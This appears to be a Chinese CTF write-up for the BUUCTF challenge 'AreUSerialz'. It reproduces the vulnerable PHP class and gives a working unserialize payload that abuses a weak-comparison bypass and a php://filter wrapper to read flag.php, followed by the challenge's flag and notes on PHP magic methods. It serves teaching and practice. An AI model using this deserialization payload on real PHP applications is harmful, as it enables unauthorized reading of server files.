步骤思路
第一:获取flag存储flag.php
第二:两个魔术方法__destruct __construct
第三:传输str参数数据后触发destruct,存在is_valid过滤
第四:__destruct中会调用process,其中op=1写入及op=2读取
第五:涉及对象FileHandler,变量op及filename,content,进行构造输出**
解题
打开网页发现如下代码:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
观察代码可知,这是一道php反序列化题目,首先需要传入一个参数str,通过is_valid()规定了传入的每一个字符的ASCII码的范围必须在32到125之间,然后对这个’str’进行反序列化操作。
从__destruct()代码中可以看到,如果op === “2”,那么op会被赋值为"1",然后content会赋值为空,并执行process函数,这里 if 中的判断语句用的是强类型比较。
然后看看process函数:
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
代码内容为:如果op == “1”,执行write()函数;如果op ==“2”,执行read函数,同时将结果赋值给$res,然后输出;否则将输出"Bad Hacker!"。
这里 if 语句中的判断语句用的是弱类型的比较,那么只要op=2,这个是int整数型的2,那么op === “2” 则为False, op == "2"则为True,就可以进入read函数。
再看看read函数:
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
在read函数中,使用filename调用file_get_contents函数将文件内容赋值给$res输出。
这里的filename是我们可控的,那么可以用前不久学的php://filter伪协议读取文件。然后使用output函数输出。
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
那么现在整个反序列过程就清楚了:
1.将op = 2
2.filename = “php://filter/read=convert.base64-encode/resource=flag.php”
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}
$a = new FileHandler();
echo serialize($a);
?>
得到结果是这样的,发现有三个地方显示不了。
原因是在于 $op $filename $content三个变量权限都是protected,而protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。
可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
那么现在就可以使用这个payload来读取flag:
http://538f4844-0f4a-4d26-b0db-57f2416549f2.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
再将结果进行base64解码即可得到flag:
flag{1903c967-48fc-433e-b1e0-dd2e8cfcb6ce}
总结:
1.区分强类型比较和弱类型比较进行绕过
2.加深对php序列化和反序列化过程的理解
php序列化与反序列化方法:
__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__toString 当一个对象被当作一个字符串使用
__sleep 在对象被序列化之前运行
__wakeup 在对象被反序列化之后被调用
PHP反序列化
PHP反序列化原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
PHP通过
string serialize ( mixed $value )
mixed unserialize ( string $str )
两个函数实现序列化和反序列化。
下面是比较典型的PHP反序列化漏洞中可能会用到的魔术方法:
void __wakeup ( void )
unserialize( )会检查是否存在一个_wakeup( ) 方法。如果存在,则会先调用_wakeup 方法,预先准备对象需要的资源。
void __construct ([ mixed $args [, $… ]])
具有构造函数的类会在每次创建新对象时先调用此方法。
void __destruct ( void )
析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
public string __toString ( void )
__toString( ) 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。
此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
参考资料
PHP反序列化详解(面试必考)
实战经验丨PHP反序列化漏洞总结
buuctf - [网鼎杯 2020 青龙组]AreUSerialz